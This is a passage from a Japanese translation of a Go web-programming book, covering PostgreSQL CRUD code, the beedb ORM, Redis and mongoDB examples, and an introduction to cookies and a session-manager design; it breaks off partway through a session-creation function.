下の例では一つ目のドライバを採用してご説明します。これは使用している人が最も多く、githubでも比較的活発であるからです。

実例コード

データベースのテーブル作成文：

CREATE TABLE userinfo
(
    uid serial NOT NULL,
    username character varying(100) NOT NULL,
    departname character varying(500) NOT NULL,
    Created date,
    CONSTRAINT userinfo_pkey PRIMARY KEY (uid)
)
WITH (OIDS=FALSE);

CREATE TABLE userdeatail
(
    uid integer,
    intro character varying(100),
    profile character varying(100)
)
WITH(OIDS=FALSE);

下ではGoがどのようにデータベースのテーブルのデータを操作するか見て行きましょう：追加・削除・修正・検索

package main

import (
    "database/sql"
    "fmt"
    _ "https://github.com/lib/pq"
)

func main() {
    db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable")
    checkErr(err)

    //データの挿入
    stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) RETURNING uid")
    checkErr(err)

    res, err := stmt.Exec("astaxie", "研究開発部門", "2012-12-09")
    checkErr(err)

    //pgはこの関数をサポートしていません。MySQLのインクリメンタルなIDのようなものが無いためです。
    id, err := res.LastInsertId()
    checkErr(err)

    fmt.Println(id)

    //データの更新
    stmt, err = db.Prepare("update userinfo set username=$1 where uid=$2")
    checkErr(err)

    res, err = stmt.Exec("astaxieupdate", 1)
    checkErr(err)

    affect, err := res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    //データの検索
    rows, err := db.Query("SELECT * FROM userinfo")
    checkErr(err)

    for rows.Next() {
        var uid int
        var username string
        var department string
        var created string
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println(uid)
        fmt.Println(username)
        fmt.Println(department)
        fmt.Println(created)
    }

    //データの削除
    stmt, err = db.Prepare("delete from userinfo where uid=$1")
    checkErr(err)

    res, err = stmt.Exec(1)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    db.Close()

}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}

上のコードによって、PostgreSQLが$1や$2といった方法によって引数を渡している様子がお分かりいただけるかとおもいます。MySQLの中の?`ではありません。また、sql.Openではdsn情報のシンタックスがMySQLのドライバでのdsnシンタックスと異なります。そのため、使用される際はこの違いにご注意ください。

また、pgはLastInsertId関数をサポートしていません。PostgreSQLの内部ではMySQLのインクリメンタルなIDを返すといった実装がないためです。その他のコードはほとんど同じです。

Generated by md2min

5.5 beedbライブラリを使用してORM開発を行う

インストール

初期化の方法

データの挿入

データの更新

データの検索

データの削除

リレーション検索

Group ByとHaving

一歩進んで

beedbは私が開発したGoによるORM操作のためのライブラリです。これはGo styleの方法でデータベースに対し操作を行います。structからテーブルの記録へのマッピングを実現します。beedbは十分軽量なGo ORMフレームワークです。このライブラリを開発した動機は複雑なORM学習曲線を引き下げたいと思ったからです。出来る限りORMの実行効率と機能の間でバランスをとったつもりです。beedbは現在オープンソースのGo ORMフレームワークの中で比較的完全なライブラリのひとつです。また、実行効率も相当良く、機能も基本的に需要を満足させています。しかし現在はまだアソシエーション関係をサポートしておらず、これは次のバージョンの主なポイントです。

beedbはdatabase/sql標準インターフェースをサポートしたORMライブラリです。そのため、理論上では、データベースドライバがdatabase/sqlインターフェースをサポートしていさえすればすんなりbeedbを使うことができます。現在までに私がテストしたドライバパッケージは以下のとおり：

Mysql:github.com/ziutek/mymysql/godrv[*]

Mysql:code.google.com/p/go-mysql-driver[*]

PostgreSQL:github.com/bmizerany/pq[*]

SQLite:github.com/mattn/go-sqlite3[*]

MS ADODB: github.com/mattn/go-adodb[*]

ODBC: bitbucket.org/miquella/mgodbc[*]

インストール

beedbはgo get方式によるインストールをサポートしています。これはGo Styleの方式に完全に則って実装されています。

go get github.com/astaxie/beedb

初期化の方法

まず対応するデータベースドライバパッケージをimportする必要があります。database/sql標準インターフェースパッケージおよびbeedbパッケージです：

import (
    "database/sql"
    "github.com/astaxie/beedb"
    _ "github.com/ziutek/mymysql/godrv"
)

必要なパッケージをインポートした後、データベースへの接続を開く必要があります。その後beedbオブジェクト（たとえばMySQLとします）を作成します

db, err := sql.Open("mymysql", "test/xiemengjun/123456")
if err != nil {
    panic(err)
}
orm := beedb.New(db)

beedbのNew関数は２つの引数を必要とします。一つ目の引数は標準インターフェースのdbで、二つ目の引数は利用するデータベースエンジンです。もしあなたが使用するデータベースエンジンがMySQL/Sqliteだった場合、二つ目の引数は省略してもかまいません。

もしSQLServerをお使いであれば、このように初期化する必要があります：

orm = beedb.New(db, "mssql")

もしPostgreSQLをお使いであれば、初期化は以下のようになります：

orm = beedb.New(db, "pg")

現在beedbはプリントデバッグをサポートしていますので、下のコードでデバッグを行うことができます。

beedb.OnDebug=true

以降の例では前のデータベースのテーブルUserinfoを採用します。まず目的のstructを作成します。

type Userinfo struct {
    Uid     int `PK` //もしテーブルのプライマリキーがidでなければ、pkコメントを追加する必要があります。このフィールドがプライマリキーであることを明示します。
    Username    string
    Departname  string
    Created     time.Time
}

ご注意ください。beedbはキャメルケースの命名規則を自動でスネークケースのフィールドに変換します。たとえばUserInfoという名前のStructを定義した場合、低レイヤで実装される際にuser_infoと変換されます。フィールドの命名もこのルールに従います。

データの挿入

下のコードはどのように記録を挿入するか示しています。我々が操作しているのはstructオブジェクトで、元々のsql文ではありません。Saveインターフェースをコールしてデータをデータベースに保存します。

var saveone Userinfo
saveone.Username = "Test Add User"
saveone.Departname = "Test Add Departname"
saveone.Created = time.Now()
orm.Save(&saveone)

挿入後、挿入に成功した際のインクリメンタルなIDがsaveone.Uidです。Saveインターフェースは自動的に保存します。

beedbインターフェースはもう一種類の挿入の方法を提供しています。mapデータ挿入です。

add := make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
orm.SetTable("userinfo").Insert(add)

複数のデータを挿入

addslice := make([]map[string]interface{}, 0)
add:=make(map[string]interface{})
add2:=make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
add2["username"] = "astaxie2"
add2["departname"] = "cloud develop2"
add2["created"] = "2012-12-02"
addslice =append(addslice, add, add2)
orm.SetTable("userinfo").InsertBatch(addslice)

上の操作方法はメソッドチェーンによる検索にすこし似ています。jqueryに詳しい方はとても馴染みがあるのではないでしょうか。毎回コールされるmethodはすべてもともとのormオブジェクトを返しているので、継続してオブジェクトの他のmethodをコールすることができます。

上でコールしたSetTable関数はORMに対して、これから実行するこのmapに対応したデータベーステーブルがuserinfoであると明示しています。

データの更新

つづけて上の例で更新操作をご覧にいれましょう。現在saveoneのプライマリキーはすでに値が存在します。この時saveインターフェースをコールして、beedb内は自動的にupdateをコールすることによってデータの更新を行います。挿入操作ではありません。

saveone.Username = "Update Username"
saveone.Departname = "Update Departname"
saveone.Created = time.Now()
orm.Save(&saveone)  //現在saveoneにはプライマリキーがあります。更新操作を行います。

データの更新はmap操作の直接の使用をサポートしています。

t := make(map[string]interface{})
t["username"] = "astaxie"
orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)

ここではいくつかのbeedbの関数をコールしてみます。

SetPK：ORMに対して、データベースのテーブルuserinfoのプライマリキーがuidであることを明示します。

Where:条件を設定するために用いられます。複数の引数をサポートし、第一引数がもし整数であった場合、Where(“プライマリキー=?”,値)がコールされたものとなります。 Update関数はmap型のデータを受け取り、データの更新を実行します。

データの検索

beedbの検索インターフェースは使いやすく、具体的な使用方法は下の例をご覧ください。

例1、プライマリキーによってデータを取得：

var user Userinfo
//Whereは2つの引数を受け取ります。int型の引数をサポートします。
orm.Where("uid=?", 27).Find(&user)

例2：

var user2 Userinfo
orm.Where(3).Find(&user2) // これは上の省略版です。プライマリキーは省略できます。

例3、プライマリキーではない条件：

var user3 Userinfo
//Whereは2つの引数を受け取ります。文字列型の引数をサポートします。
orm.Where("name  = ?", "john").Find(&user3)

例4、もっと複雑な条件：

var user4 Userinfo
//Whereは3つの引数をサポートします。
orm.Where("name = ? and age < ?", "john", 88).Find(&user4)

下のインターフェースを通して複数のデータを取得できます。例をご覧ください。

例1、条件id>3にもとづいて、20からはじまる10件のデータを取得します。

var allusers []Userinfo
err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers)

例2、limitの第二引数は省略できます。デフォルトは0から開始となります。10件のデータを取得します。

var tenusers []Userinfo
err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers)

例3、すべてのデータを取得します。

var everyone []Userinfo
err := orm.OrderBy("uid desc,username asc").FindAll(&everyone)

上ではLimit関数があります。これは検索結果の数をコントロールするのに用いられます。

Limit:2つの引数をサポートします。第一引数は検索数を表し、第二引数は取得するデータの開始位置を表しています。デフォルトは0です。

OrderBy:この関数は検索をソートするために用いられます。引数はソートの条件である必要があります。

上の例では取得するデータが直接structオブジェクトにマッピングされます。もし、データをmapとして取得したいだけであれば、下の方法で実現することができます：

a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()

上とこの例の中ではまた新しいインターフェースの関数Selectがでてきました。この関数はいくつのフィールドを検索したいのか定義するために用いられます。デフォルトでは全てのフィールドとなる*となります。

FindMap()関数は[]map[string][]byte型を返します。そのため、自分自身で型変換を行う必要があります。

データの削除

beedbは豊富なデータ削除インターフェースを備えています。下の例をご覧ください。

例1、単一のデータを削除

//saveoneは上の例で示したあのsaveoneです。
orm.Delete(&saveone)

例2、複数のデータを削除

//alluserは上で定義した複数のデータのsliceです。
orm.DeleteAll(&alluser)

例3、sqlにしたがってデータを削除

orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow()

リレーション検索

現在beedbはstructのリレーションをサポートしていません。しかしいくつかのアプリケーションはリレーションによる検索を必要としています。そのため、現在beedbは簡単なソリューションを提供しています。

a, _ := orm.SetTable("userinfo").Join("LEFT", "userdeatail", "userinfo.uid=userdeatail.uid").Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap()

上のコードでは新しいインターフェースのJoin関数が出て来ました。この関数には3つの引数があります。

第一引数には：INNER, LEFT, OURTER, CROSS等が入れられます

第二匹数は接続するテーブルを表します

第三引数は接続の条件を表します

Group ByとHaving

いくつかのアプリケーションがgroup byとhavingの機能を必要としているため、beedbも簡単な実現方法を提供しています。

a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()

上のコードで現れる2つの新しいインターフェースの関数

GroupBy:groupbyのフィールドを実行するために用いられます

Having:havingを実行する際の条件を指定するために用いられます

一歩進んで

現在beedbはすでに多くの国内外からのユーザによってフィードバックを得ています。現在作り直しを考えています。以降ではいくつかの方面で改良が行われる予定です。

interface設計の実装。database/sql/driverの設計に似て、beedbのインターフェースを設計します。その後対応するデータベースのCRUD操作を実現します。

リレーショナルデータベースの設計の実現。一対一、一対多、多対多のサポートを実現します。コードは以下のとおり：

type Profile struct{ Nickname string Mobile string }

type Userinfo struct { Uid int PK Username string Departname string Created time.Time Profile HasOne }

自動的にデータベース、テーブル、インデックスを作成

接続プールの実現、goroutineを採用。

Generated by md2min

5.6 NOSQLデータベースの操作

redis

mongoDB

NoSQL(Not Only SQL)とは、リレーション型ではないデータベースのことを言います。Web2.0の高まりにしたがって、伝統的なリレーショナルデータベースがWeb2.0ページに使われています。特にとても大きな規模で高度にマルチスレッドなSNS型のWeb2.0の純粋な動的ホームページでは明らかに力不足となっています。多くの解決が難しい問題が暴露され、リレーショナルでないデータベースはその特徴から非常に早く発展してきています。

Go言語は21世紀のC言語として、NOSQLもとてもよくサポートしています。現在流行しているNOSQLには主にredis、mongoDB、CassandraとMembase等があります。これらのデータベースはどれも高性能、マルチスレッドといった特徴があり、現在すでに広くあらゆるアプリケーションの中で使用されています。ここでは主にredisとmongoDBの操作についてご説明します。

redis

redisはkey-valueを保存するシステムです。Memcachedに似ていて、保存されるvalue型はもっと多く、string(文字列)、list(リスト)、set(集合)とzset(順序付きset)を含みます。

現在redisが最もよく使われているのは新浪のマイクロブログプラットフォームでしょう。その次にFacebookに買収された画像フォーラムであるinstagramがあります。その他有名なインターネット企業もそうです。

Goは現在redisのドライバで以下をサポートしています - https://github.com/alphazero/Go-Redis - http://code.google.com/p/tideland-rdc/ - https://github.com/simonz05/godis - https://github.com/hoisie/redis.go

現在私がforkした最新のドライバではいくつかのbugが修正されています。現在私自身の短縮ドメイン名サービスのプロジェクトの中で使用されています。（毎日200WぐらいのPV数があります。）

https://github.com/astaxie/goredis

以降では私がforkしたこのredisドライバでどのようにデータの操作を行うかご紹介します。

package main

import (
    "github.com/astaxie/goredis"
    "fmt"
)

func main() {
    var client goredis.Client
    // ポートをredisのデフォルトポートに設定
    client.Addr = "127.0.0.1:6379"

    //文字列操作
    client.Set("a", []byte("hello"))
    val, _ := client.Get("a")
    fmt.Println(string(val))
    client.Del("a")

    //list操作
    vals := []string{"a", "b", "c", "d", "e"}
    for _, v := range vals {
        client.Rpush("l", []byte(v))
    }
    dbvals,_ := client.Lrange("l", 0, 4)
    for i, v := range dbvals {
        println(i,":",string(v))
    }
    client.Del("l")
}

redisの操作が非常に簡単だとお分かりいただけたかと思います。実際のプロジェクトの中で使用していますが、性能も非常に高いのです。clientのコマンドとredisのコマンドは基本的に同じです。ですので元のredisの操作と非常によく似ています。

mongoDB

MongoDBは高性能でオープンソース、モードレスなドキュメント型データベースです。これはリレーショナルデータベースとノンリレーショナルデータベースの間のプロダクトです。ノンリレーショナルデータベースの中では機能が最も豊富で、リレーショナルベースに最もよく似ています。サポートされるデータ形式は非常にルーズで、jsonによく似たbjson形式によってデータを保存します。そのため、比較的複雑なデータを保存することができます。Mongoの最大の特徴は検索言語が非常に強力でその文法がオブジェクト指向の検索文に少し似ていることです。データベースに対してインデックスを設定することもできます。

下の図はmysqlとmongoDBの間の対応関係を示しています。非常に簡単だとわかりますが、mongoDBの性能は非常に良いです。

図5.1 MongoDBとMysqlの操作の対応図

現在GoでサポートされているmongoDBのもっとも良いドライバはmgoです。このドライバは現在もっともオフィシャルのpkgになりそうなものです。

次にどのようにしてGoからmongoDBを操作するのかご説明します：

package main

import (
    "fmt"
    "labix.org/v2/mgo"
    "labix.org/v2/mgo/bson"
)

type Person struct {
    Name string
    Phone string
}

func main() {
    session, err := mgo.Dial("server1.example.com,server2.example.com")
    if err != nil {
        panic(err)
    }
    defer session.Close()

    session.SetMode(mgo.Monotonic, true)

    c := session.DB("test").C("people")
    err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
        &Person{"Cla", "+55 53 8402 8510"})
    if err != nil {
        panic(err)
    }

    result := Person{}
    err = c.Find(bson.M{"name": "Ale"}).One(&result)
    if err != nil {
        panic(err)
    }

    fmt.Println("Phone:", result.Phone)
}

mgoの操作方法とbeedbの操作方法はほとんど似ていることがわかります。どちらもstructに基づいて操作する方法です。これこそがGo Styleです。

Generated by md2min

5.7 まとめ

この章ではGoがどのようにdatabase/sqlインターフェースを設計するのかご説明しました。その後、サードパーティによるリレーショナルデータベースドライバの使用をご紹介しました。次にbeedbというリレーショナルデータベースに基づくORMライブラリがどのようにしてデータベースに対して簡単な操作を行うかご説明しました。最後にNOSQLのいくつかの知識をご紹介しました。現在GoのNOSQLに対するサポートはなかなかよくできています。Goは21世紀のC言語ですから、21世紀のデータベースに対するサポートも非常によくできています。

この一章の学習を通じて、いろいろなデータベースをどのように操作するか学んできました。Webの中でも重要なデータの保存に関する問題が解決したので、みなさんのdatabase/sqlの設計思想により一歩進んだ理解が深まることを願っています。

Go database/sql tutorialではよく使われる例と詳細な説明を提供しています。

Generated by md2min

6 sessionとデータの保存

目次

Web開発ではどのようにしてユーザの閲覧過程のすべてをコントロールするかということは非常に重要です。HTTPプロトコルはステートレスですので、ユーザの毎回のリクエストにはステータスがありません。Web操作の全体の過程の中でどの接続がどのユーザと関係しているのか知る方法がありません。では、どのようにしてこの問題を解決しているのでしょうか？Webでの伝統的な解決方法はcookieとsessionです。cookieによるメカニズムはクライアント側でのメカニズムです。ユーザのデータをクライアントに保存します。sessionメカニズムはサーバ側でのメカニズムです。サーバはハッシュテーブルのような構造でデータを保存します。ホームページの各閲覧者はユニークなIDを与えられます。すなわち、SessionIDです。この保存形式は2つだけです：urlによって渡されるか、クライアントのcookieに保存されるかです。当然、Sessionをデータベースに保存することもできます。よりセキュリティが高まりますが、効率の面ではいくつか後退します。

6.1節ではsessionメカニズムとcookieメカニズムの関係と区別についてご紹介します。6.2ではGo言語がどのようにsessionを実現しているかご説明します。この中では簡単なsessionマネージャを実現します。6.3節ではどのようにしてsessionハイジャックの状態を防ぐかご説明します。どのように効果的にsessionを保護するのか。sessionはそもそもどのようなところに保存してもよいのです。6.3節ではsessionをメモリの中に保存しますが、我々のアプリケーションをもう一歩展開させる場合、アプリケーションのsession共有を実現する必要があります。sessionをデータベースの中(memcachedまたはredis)に保存します。6.4節ではどのようにしてこの機能を実装するかご説明します。

目次

Generated by md2min

6.1 sessionとcookie

cookie

Goでcookieを設定する

Goでcookieを読む

session

まとめ

sessionとcookieの2つはホームページの閲覧の中で比較的よくみかける概念です。これらはまた区別するのが難しい概念でもあります。しかし認証の必要なサービスやページの統計では相当重要になってきます。まずsessionとcookieがいったいどういうものか理解していくことにしましょうこのような問題を考えます：

どのようにしてアクセスに制限のあるページをスクレイピングすればよいでしょうか？例えば新浪マイクロブログの友達のメインページや個人のマイクロブログのページ等です。

当然ブラウザから主導でユーザ名とパスワードを入力し、ページにアクセスすることができます。いわゆる“スクレイピング”とはプログラムを使って同じような作業を行うことを言います。そのため、“ログイン”の過程で何が発生しているのか理解する必要があります。

ユーザがマイクロブログのログイン画面にきた時、ユーザ名とパスワードを入力した後、“ログイン”をクリックするとブラウザが認証情報をリモートのサーバに送信します。サーバは検証ロジックを実行して、もし検証がパスすれば、ブラウザはログインしたユーザのマイクロブログのトップページにリダイレクトします。ログインが成功した後、サーバはどのように我々がその他の制限のあるページへのアクセスを検証するのでしょうか？HTTPプロトコルはステートレスですので、サーバは我々が前のHTTPリクエストの中で検証をパスした事を知る由もありません。当然、もっとも簡単な解決方法はすべてのリクエストにユーザ名とパスワードを含めることです。これでも構いませんが、サーバの負荷を非常に高めてしまいます。（毎回のリクエストがすべてデータベースでの検証を必要とします。）ユーザのエクスペリエンスも低下します。（すべてのページで再度ユーザ名とパスワードを入力しなければなりません。すべてのページにログインフォームが出てきます。）直接リクエストの中にユーザ名とパスワードを含めるわけにはいかないのでサーバかクライアントに身分を示す情報のようなものを保存するしかありません。cookieとsessionはそのためにあります。

cookieとは、簡単に言えばローカルマシンに保存されたユーザの操作の履歴情報です（当然ログイン情報を含みます）。またユーザが再度このページにアクセスした際ブラウザはHTTPプロトコルを通してローカルのcookieの内容をサーバに送信し、検証を行います。または継続して前の操作を行います。

図6.1 cookieの原理図

sessionとは、簡単に言えばサーバ上に保存されたユーザの操作の履歴情報です。サーバはsession idを使用してsessionを識別します。session idはサーバが生成します。ランダム性とユニーク性を保証し、ランダムな秘密鍵に相当します。ハンドシェイクやデータ通信中にユーザの本当のパスワードが暴露されるのを防ぎます。しかしこの方法では、依然としてリクエストを送信したクライアントとsessionを対応させる必要があります。そのためcookieメカニズムによってクライアントのID（session id）を取得することで、GETメソッドでidをサーバに送信することができます。

図6.2 sessionの原理図

cookie

Cookieはブラウザによって維持されます。クライアントに小さな本文情報として保存されます。ユーザのリクエストと画面に沿ってWebサーバとブラウザの間でやりとりされます。ユーザがページにアクセスした際、Webアプリケーションはcookieに含まれる情報を読取ることができます。ブラウザの設定ではcookieのプライバシーデータの選択肢があります。これをオープンするとすでにアクセスしたことのあるページのcookieをたくさん閲覧することができます。下の図をご覧ください：

図6.3 ブラウザで保存されているcookie情報

cookieには有効期限があります。有効期限の違いに従って2つに分けられます：セッションcookieと持続クッキーがあります。

もし有効期限を設定しなければ、このcookieの有効期限は新規に作成されてからブラウザを閉じるまでとなり、cookieは消滅します。このような有効期限は閲覧時のセッションのセッションcookieと呼ばれます。セッションcookieは一般的にハードディスク上には保存されず、メモリに保存されます。

もし有効期限(setMaxAge(606024))が設定されていると、ブラウザはcookieをハードディスクに保存します。ブラウザを閉じて再度開くと、これらのcookieは依然として設定された有効期限まで有効となります。ハードディスク上に保存されたcookieは異なるブラウザのプロセス間で共有することができます。たとえばIEを2つ開き、メモリに保存されたcookieに対し異なるブラウザは異なる処理方法をとります。

Goでcookieを設定する

Go言語ではnet/httpパッケージのSetCookieを通して設定します：

http.SetCookie(w ResponseWriter, cookie *Cookie)

wは入力する必要のあるresponse、cookieはstructです。cookieオブジェクトがどのようになっているか見てみましょう。

type Cookie struct {
    Name       string
    Value      string
    Path       string
    Domain     string
    Expires    time.Time
    RawExpires string

// MaxAge=0 means no 'Max-Age' attribute specified.
// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
// MaxAge>0 means Max-Age attribute present and given in seconds
    MaxAge   int
    Secure   bool
    HttpOnly bool
    Raw      string
    Unparsed []string // Raw text of unparsed attribute-value pairs
}

例を一つ見てみましょう。どのようにcookieを設定するかです。

expiration := time.Now()
expiration = expiration.AddDate(1, 0, 0)
cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration}
http.SetCookie(w, &cookie)

Goでcookieを読む

上の例ではどのようにcookieデータを設定するかご説明しました。ここではどのようにcookieを読み取るのか見てみましょう。

cookie, _ := r.Cookie("username")
fmt.Fprint(w, cookie)

もうひとつのロード方法は

for _, cookie := range r.Cookies() {
    fmt.Fprint(w, cookie.Name)
}

requestを通してcookieが非常に簡単に取得できるのがおわかりいただけるとおもいます。

session

session、中国語ではよく「会話」と翻訳されます。本来は始めから終わりまでの一連のアクション/メッセージを意味します。たとえば電話をかける時は受話器を手にとり電話番号を押して電話を切る間の一連の過程をsessionと呼ぶことができます。しかしsessionという言葉がネットワークプロトコルと関係がある時は、往々にして“接続型通信”または/もしくは“ステートの保持”の2つの意味が含まれています。

sessionはWeb開発環境ではまた新しい意味が含まれます。クライアントサイドとサーバサイドの間でステートを保持するためのソリューションです。しばしばSessionはまたこのようなソリューションの保存構造も指します。

sessionメカニズムはサーバサイドのメカニズムです。サーバでハッシュテーブルの構造に似たもの(ハッシュテーブルを使う場合もあります)を使用することで情報を保存します。

しかしプログラムがあるクライアントのリクエストにsessionを確立する必要がある場合、サーバはまずこのクライアントのリクエストにsessionIDがあるかを検査します。サーバはsession idを参照し、このsessionを検索し(検索できなかった場合は新規に作成されます。このような状況はサーバがすでにこのユーザに対応するsessionオブジェクトを削除してしまった場合に起こり得ます、しかしユーザは人為的にリクエストのURLの後にJSESSIONの引数を追加します。)使用します。もしユーザのリクエストにsession idが含まれなければ、このユーザにsessionを作成し同時にこのsessionと関係するsession idを生成します。このsession idは今回のレスポンスにおいてクライアント側に返され保存されます。

sessionメカニズム自身は特に複雑ではありませんが、その実装と設定の柔軟性は複雑を極めます。これは一回の経験やひとつのブラウザ、サーバのみの経験でもって普遍的に通用するものではありません。

まとめ

上述の通り、sessionとcookieの目的は同じです。どちらもhttpプロトコルのステートレスであるという欠点を克服するためにあります。しかしその方法は異なります。sessionはcookieを通じてクライアントにsession idを保存します。またユーザの他のセッション情報はサーバのsessionオブジェクトに保存されます。これとは対照的に、cookieはすべての情報をクライアントに持たせる必要があります。そのためcookieにはある程度潜在的な脅威が存在します。例えばローカルのcookieに保存されたユーザ名とパスワードが解読されたり、cookieが他のホームページに収集されます（例えば：1．appAが主導的にゾーンBのcookieを設定し、ゾーンBにcookieを取得させます；2．XSS、appAでjavascriptを通じてdocument.cookieを取得し、自分のappBに送信します）。

上のいくつかの簡単な紹介でcookieとsessionの基礎的な知識をご紹介しました。これらの間の関係と区別を知り、web開発を行う前に必要な知識をあらかじめよく理解することで、対応に困窮したりbugフィックスを行う際に行き当たりばったりになったりしなくて済みます。以降のいくつかの章ではsessionに関するより細かな知識についてご紹介します。

Generated by md2min

6.2 Goはどのようにしてsessionを使用するか

sessionの作成過程

Goでsession管理を実現する

session管理設計

Sessionマネージャ

グローバルでユニークなSession ID

sessionの作成

値の操作：設定、ロードおよび削除

sessionの再設定

sessionの破棄

まとめ

前の節で、sessionはサーバサイドで実装されるユーザとサーバ間の認証のソリューションのひとつであることをご紹介しました。現在Goの標準パッケージにはsessionのサポートがありません。この節では実際にてを動かしてgoバージョンのsession管理と作成を実現してみます。

sessionの作成過程

sessionの基本原理はサーバによって各セッションにおける情報データを保護することです。クライアントサイドはサーバサイドとグローバルでユニークなIDひとつを頼ってこのデータにアクセスし、インタラクティブな目的が達成されます。ユーザがWebアプリケーションにアクセスする際、サーバサイドのプログラムはsession作成の要求に従います。この過程は３つのステップに分けることができます：

グローバルでユニークなIDの生成（sessionid）

データの保存スペースを作成。普通はメモリの中に対応するデータ構造を作成します。しかしこのような状況では、システムは一旦電源が切れると、すべてのセッションデータが消失します。もしeコマースのようなホームページであった場合、これは重大な結果をもたらします。そのため、このような問題を解決するためにセッションデータをファイルの中やデータベースの中に書き込むことができます。当然この場合I/Oオーバーヘッドが増加しますが、ある程度のsessionの永続化は実現できますし、sessionの共有にも有利です。

sessionのグローバルでユニークなIDをクライアントサイドに送信します。

上の３つのステップでもっとも重要なのは、どのようにこのsessionのユニークIDを送信するかというステップです。HTTPプロトコルの定義上、データはリクエスト行、ヘッダー部またはBodyの中に含めるしかありません。そのため一般的には２つのよく使われる方法があります：cookieとURLの書き直しです。

Cookie サーバサイドはSet-cookieヘッダーを設定することでsessionのIDをクライアントサイドに送信することができます。クライアントサイドは以降の各リクエストすべてにこのIDを含めます。またsession情報を含んだcookieの有効期限を0(セッションcookie)、つまりブラウザプロセスの有効期限に設定することもよく行われます。各ブラウザはそれぞれ異なる実装がされていますが、差はそれほど大きくはありません(一般的にはブラウザウィンドウを新規に作成した際に反映されます)。

URLの書き直し いわゆるURLの書き直しとは、ユーザに返されるページの中のすべてのURLの後ろにsessionIDを追加することです。このようにユーザがレスポンスを受け取った後、レスポンスのページの中のどのリンクをクリックしたりフォームを送信しても、すべて自動的にsessionIDが付与されます。これによりセッションの保持を実現します。このような方法はすこし面倒ではありますが、もしクライアントサイドがcookieを禁止している場合、このようなソリューションがまず選ばれます。

Goでsession管理を実現する

上のsession作成の課程の解説で、読者はsessionの大体の知識を得られたものと思います。しかし具体的な動的ページ技術においては、またどうやってsessionを実現しているのでしょうか？ここではsessionのライフサイクル(lifecycle)と併せてgo言語バージョンのsession管理を実現します。

session管理設計

session管理は以下のいくつかのファクターが関わってきます

グローバルなsessionマネージャ

sessionidがグローバルにユニークであることの保証

各ユーザをひとつのsessionに関連付ける

sessionの保存(メモリ、ファイル、データベース等に保存できます)

sessionの期限切れ処理

以降ではsession管理の全体の設計構想と対応するgoのコード例について解説します：

Sessionマネージャ

あるグローバルなsessionマネージャを定義します

type Manager struct {
    cookieName  string     //private cookiename
    lock        sync.Mutex // protects session
    provider    Provider
    maxlifetime int64
}

func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) {
    provider, ok := provides[provideName]
    if !ok {
        return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName)
    }
    return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil
}

Goで実現される全体のフローは概ねこのようなものになります。mainパッケージにおいてグローバルなsessionマネージャを作成します。

var globalSessions *session.Manager
//この後init関数で初期化されます。
func init() {
    globalSessions, _ = NewManager("memory","gosessionid",3600)
}

我々はsessionがサーバサイドに保存されるデータであることを知っています。これはどのような方法で保存されてもかまいません。例えばメモリ、データベースまたはファイルの中に保存します。そのため、Providerインターフェースを抽象化することでトークンsessionマネージャが低レイヤで構造を保存します。

type Provider interface {
    SessionInit(sid string) (Session, error)
    SessionRead(sid string) (Session, error)
    SessionDestroy(sid string) error
    SessionGC(maxLifeTime int64)
}

SessionInit関数はSessionの初期化を実装します。操作に成功するとこの新しいSession変数を返します。

SessionRead関数はsidが示すSession変数を返します。もし存在しなければ、sidを引数としてSessionInit関数をコールし、真新しいSession変数を新規に作成して、返します。

SessionDestroy関数はsidに対応するSession変数を廃棄するために用いられます。

SessionGCはmaxLifeTimeに従って期限の切れたデータを削除します。

ではSessionインターフェースはどのような機能を実装しなければならないのでしょうか？Web開発の経験のある読者であればご存知だとは思いますが、Sessionに対する処理の基本は 値を設定する、値を取得する、値を削除する、現在のsessionIDを取得する の４つの操作となります。ですので我々のSessionインターフェースもこの４つの操作を実装します。

type Session interface {
    Set(key, value interface{}) error //set session value
    Get(key interface{}) interface{}  //get session value
    Delete(key interface{}) error     //delete session value
    SessionID() string                //back current sessionID
}

以上の設計構想はdatabase/sql/driverに由来します。先にインターフェースを定義して、その後実際にsessionを保存する構造が対応するインターフェースを実装し登録すると、対応する機能が使用できるようになります。以下はオンデマンドに登録しsessionの構造を保存するRegister関数の実装です。

var provides = make(map[string]Provider)

// Register makes a session provide available by the provided name.
// If Register is called twice with the same name or if driver is nil,
// it panics.
func Register(name string, provider Provider) {
    if provider == nil {
        panic("session: Register provide is nil")
    }
    if _, dup := provides[name]; dup {
        panic("session: Register called twice for provide " + name)
    }
    provides[name] = provider
}

グローバルでユニークなSession ID

Session IDはWebアプリケーションにアクセスした各ユーザを識別するために用いられます。その為これはグローバルでユニークであることを保証する必要があります。（GUID）、下のコードはどのようにこの要求を満足させるか示しています。

func (manager *Manager) sessionId() string {
    b := make([]byte, 32)
    if _, err := io.ReadFull(rand.Reader, b); err != nil {
        return ""
    }
    return base64.URLEncoding.EncodeToString(b)
}

sessionの作成

各ユーザに対して彼らと結びつくSessionを与えたり取得することで、Session情報に従って操作を検証する必要があります。SessionStartという関数はあるSessionが現在アクセスしているユーザと既に関係しているか検査するために用いられます。もし無ければ新規にこれを作成します。

func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
    manager.lock.Lock()
    defer manager.lock.Unlock()
